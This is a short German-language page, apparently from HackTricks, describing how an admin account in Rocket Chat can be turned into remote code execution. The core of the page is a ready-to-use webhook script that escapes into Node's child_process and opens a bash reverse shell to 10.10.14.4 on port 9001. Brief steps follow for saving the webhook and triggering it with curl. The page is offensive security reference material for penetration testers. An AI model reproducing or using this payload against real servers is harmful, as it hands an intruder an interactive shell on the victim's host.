Rocket Chat

Support HackTricks

RCE

Wenn du Admin in Rocket Chat bist, kannst du RCE erhalten.

  • Gehe zu Integrationen und wähle Neue Integration und wähle eine: Eingehender WebHook oder Ausgehender WebHook.

  • /admin/integrations/incoming

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Konfigurieren Sie den WebHook (der Kanal und der Beitrag als Benutzername müssen existieren):

  • Konfigurieren Sie das WebHook-Skript:

  • Änderungen speichern

  • Holen Sie sich die generierte WebHook-URL:

  • Rufen Sie es mit curl auf und Sie sollten die rev shell erhalten

Unterstützen Sie HackTricks

Last updated